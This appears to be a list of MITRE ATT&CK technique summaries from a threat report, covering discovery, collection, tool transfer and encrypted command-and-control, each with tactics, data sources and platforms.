Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre